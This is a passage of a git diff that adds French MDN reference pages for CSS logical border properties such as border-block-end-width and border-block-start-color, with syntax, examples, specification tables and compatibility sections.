+  writing-mode: vertical-lr;
+  border: 5px solid blue;
+  border-block-end-style: dashed;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-end-style", "border-block-end-style")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-block-end-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top-style")}},</li>
+   <li>{{cssxref("border-right-style")}},</li>
+   <li>{{cssxref("border-bottom-style")}},</li>
+   <li>{{cssxref("border-left-style")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-block-end-width/index.html b/files/fr/web/css/border-block-end-width/index.html
new file mode 100644
index 0000000000..ea7b2adf47
--- /dev/null
+++ b/files/fr/web/css/border-block-end-width/index.html
@@ -0,0 +1,106 @@
+---
+title: border-block-end-width
+slug: Web/CSS/border-block-end-width
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-block-end-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-block-end-width</code></strong> définit la largeur de la bordure pour le côté de bloc de la fin « logique » de l'élément. Cette propriété logique correspond à l'une des propriétés physiques équivalentes en fonction du mode d'écriture, de la directionnalité et de l'orientation du texte. Autrement dit, elle correspondra à  {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}} ou a {{cssxref("border-left-width")}} selon les valeurs des propriétés pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-end-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété logique est à rapprocher des autres propriétés logiques {{cssxref("border-block-start-width")}}, {{cssxref("border-inline-end-width")}} et {{cssxref("border-inline-end-width")}} qui permettent de définir la largeur de la bordure pour les différents côtés de l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur de longueur */
+/* Type &lt;length&gt;      */
+border-block-end-width: 5px;
+border-block-end-width: thick;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>La largeur utilisée pour la bordure, voir {{cssxref("border-width")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  border: 1px solid blue;
+  border-block-end-width: 5px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-end-width", "border-block-end-width")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-block-end-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top-width")}}</li>
+   <li>{{cssxref("border-right-width")}}</li>
+   <li>{{cssxref("border-bottom-width")}}</li>
+   <li>{{cssxref("border-left-width")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-block-end/index.html b/files/fr/web/css/border-block-end/index.html
new file mode 100644
index 0000000000..45a72f3d55
--- /dev/null
+++ b/files/fr/web/css/border-block-end/index.html
@@ -0,0 +1,118 @@
+---
+title: border-block-end
+slug: Web/CSS/border-block-end
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-block-end
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-block-end</code></strong> est une propriété raccourcie qui permet de définir la bordure d'un élément pour le côté correspondant à la fin de l'élément dans l'axe orthogonal au sens de lecture. Elle peut être utilisée pour définir les valeurs de {{cssxref("border-block-end-width")}}, {{cssxref("border-block-end-style")}} et {{cssxref("border-block-end-color")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-end.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété logique correspond à l'une des propriété physique équivalente selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}} ou {{cssxref("border-left")}} selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<p>On peut rapprocher cette propriété des autres propriétés logiques raccourcies définissant les bordures des autres côtés :</p>
+
+<ul>
+ <li>{{cssxref("border-block-start")}},</li>
+ <li>{{cssxref("border-inline-end")}},</li>
+ <li>{{cssxref("border-inline-start")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-block-end: 1px;
+border-block-end: 2px dotted;
+border-block-end: medium dashed green;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Une ou plusieurs valeurs parmi les suivantes, dans n'importe quel ordre :</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>La largeur de la bordure, voir {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Le style utilisé pour la ligne de la bordure, {{cssxref("border-style")}}.</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>La couleur de la bordure, voir {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-rl;
+  border-block-end: 5px dashed blue;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-end", "border-block-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-block-end")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top")}},</li>
+   <li>{{cssxref("border-right")}},</li>
+   <li>{{cssxref("border-bottom")}},</li>
+   <li>{{cssxref("border-left")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-block-start-color/index.html b/files/fr/web/css/border-block-start-color/index.html
new file mode 100644
index 0000000000..95ac2e171c
--- /dev/null
+++ b/files/fr/web/css/border-block-start-color/index.html
@@ -0,0 +1,116 @@
+---
+title: border-block-start-color
+slug: Web/CSS/border-block-start-color
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-block-start-color
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-block-start-color</code></strong> définit la couleur de la bordure pour le côté du début de l'élément orienté orthogonalement à l'axe de lecture. Elle correspond à une propriété physique selon le mode d'écriture de l'élément, sa directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} ou {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-start-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est à rapprocher des autres propriétés logiques permettant de définir les couleurs de la bordure d'un élément :</p>
+
+<ul>
+ <li>{{cssxref("border-block-end-color")}},</li>
+ <li>{{cssxref("border-inline-end-color")}},</li>
+ <li>{{cssxref("border-inline-start-color")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-block-start-color: red;
+border-block-start-color: #fffff;
+border-block-start-color: rgb(200, 0, 0);
+
+border-block-start-color: unset;
+border-block-start-color: initial;
+border-block-start-color: inherit;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'border-color'&gt;</code></dt>
+ <dd>Voir {{cssxref("border-color")}}</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  border: 10px solid blue;
+  border-block-start-color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-start-color", "border-block-start-color")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-block-start-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top-color")}},</li>
+   <li>{{cssxref("border-right-color")}},</li>
+   <li>{{cssxref("border-bottom-color")}},</li>
+   <li>{{cssxref("border-left-color")}}.</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-block-start-style/index.html b/files/fr/web/css/border-block-start-style/index.html
new file mode 100644
index 0000000000..5b00ba2aaf
--- /dev/null
+++ b/files/fr/web/css/border-block-start-style/index.html
@@ -0,0 +1,111 @@
+---
+title: border-block-start-style
+slug: Web/CSS/border-block-start-style
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-block-start-style
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-block-start-style</code></strong> définit le style de la bordure utilisé pour le côté du début de l'élément dans l'axe orthogonal au sens de lecture. Cette propriété logique correspondra à une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} selon les valeurs de {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-start-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les autres propriétés logiques permettant de définir le style de la bordure sont les suivantes :</p>
+
+<ul>
+ <li>{{cssxref("border-inline-start-style")}}</li>
+ <li>{{cssxref("border-inline-end-style")}}</li>
+ <li>{{cssxref("border-block-end-style")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* border-block-start-style: style<em> */</em>
+border-block-start-style: dashed;
+border-block-start-style: dotted;
+border-block-start-style: groove;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Le style utilisé pour la ligne de la bordure, voir {{cssxref("border-style")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  border: 5px solid blue;
+  border-block-start-style: dashed;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-start-style", "border-block-start-style")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-block-start-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top-style")}},</li>
+   <li>{{cssxref("border-right-style")}},</li>
+   <li>{{cssxref("border-bottom-style")}},</li>
+   <li>{{cssxref("border-left-style")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-block-start-width/index.html b/files/fr/web/css/border-block-start-width/index.html
new file mode 100644
index 0000000000..81552b8563
--- /dev/null
+++ b/files/fr/web/css/border-block-start-width/index.html
@@ -0,0 +1,107 @@
+---
+title: border-block-start-width
+slug: Web/CSS/border-block-start-width
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-block-start-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-block-start-width</code></strong> définit la largeur de la bordure pour le côté de bloc du début « logique » de l'élément. Cette propriété logique correspond à l'une des propriétés physiques équivalentes en fonction du mode d'écriture, de la directionnalité et de l'orientation du texte. Autrement dit, elle correspondra à  {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}} ou a {{cssxref("border-left-width")}} selon les valeurs des propriétés pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-start-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété logique est à rapprocher des autres propriétés logiques {{cssxref("border-inline-start-width")}}, {{cssxref("border-block-end-width")}} et {{cssxref("border-inline-end-width")}} qui permettent de définir la largeur de la bordure pour les différents côtés de l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur de longueur */
+/* Type &lt;length&gt; */
+border-block-start-width: 5px;
+border-block-start-width: thick;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>Voir {{cssxref("border-width")}}</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  border: 1px solid blue;
+  border-block-start-width: 5px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-start-width", "border-block-start-width")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-block-start-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top-width")}}</li>
+   <li>{{cssxref("border-right-width")}}</li>
+   <li>{{cssxref("border-bottom-width")}}</li>
+   <li>{{cssxref("border-left-width")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-block-start/index.html b/files/fr/web/css/border-block-start/index.html
new file mode 100644
index 0000000000..f4bc895c1e
--- /dev/null
+++ b/files/fr/web/css/border-block-start/index.html
@@ -0,0 +1,118 @@
+---
+title: border-block-start
+slug: Web/CSS/border-block-start
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-block-start
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-block-start</code></strong> est une propriété raccourcie qui permet de définir la bordure d'un élément pour le côté correspondant au début de l'élément dans l'axe orthogonal au sens de lecture. Elle peut être utilisée pour définir les valeurs de {{cssxref("border-block-start-width")}}, {{cssxref("border-block-start-style")}} et {{cssxref("border-block-start-color")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-start.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété logique correspond à l'une des propriété physique équivalente selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}} ou {{cssxref("border-left")}} selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<p>On peut rapprocher cette propriété des autres propriétés logiques raccourcies définissant les bordures des autres côtés :</p>
+
+<ul>
+ <li>{{cssxref("border-block-end")}},</li>
+ <li>{{cssxref("border-inline-end")}},</li>
+ <li>{{cssxref("border-inline-start")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">border-block-start: 1px;
+border-block-start: 2px dotted;
+border-block-start: medium dashed green;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Une ou plusieurs valeurs parmi les suivantes, dans n'importe quel ordre :</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>La largeur utilisée pour la bordure de ce côté, voir {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Le style utilisé pour la ligne de la bordure de ce côté, voir {{cssxref("border-style")}}.</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>La couleur de la bordure de ce côté, voir {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-rl;
+  border-block-start: 5px dashed blue;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-start", "border-block-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-block-start")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top")}},</li>
+   <li>{{cssxref("border-right")}},</li>
+   <li>{{cssxref("border-bottom")}},</li>
+   <li>{{cssxref("border-left")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-block-style/index.html b/files/fr/web/css/border-block-style/index.html
new file mode 100644
index 0000000000..192bb68db3
--- /dev/null
+++ b/files/fr/web/css/border-block-style/index.html
@@ -0,0 +1,103 @@
+---
+title: border-block-style
+slug: Web/CSS/border-block-style
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-block-style
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété<strong> <code>border-block-style</code></strong> permet de définir le style pour la bordure sur les côtés d'un élément qui correspondent à l'axe de bloc. Cette propriété logique correspond à différentes propriétés physiques selon le mode d'écriture, la direction et l'orientation du texte. Autrement dit, cette propriété correspond à {{cssxref("border-top-style")}} et {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} et {{cssxref("border-right-style")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de type &lt;'border-style'&gt; */
+border-block-style: dashed;
+border-block-style: dotted;
+border-block-style: groove;
+</pre>
+
+<p>Pour les autres côtés, la bordure peut être mise en forme grâce à la propriété {{cssxref("border-inline-style")}} qui définit {{cssxref("border-inline-start-style")}} et {{cssxref("border-inline-end-style")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeur">Valeur</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Le style de la ligne pour la bordure. Voir {{ cssxref("border-style") }}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
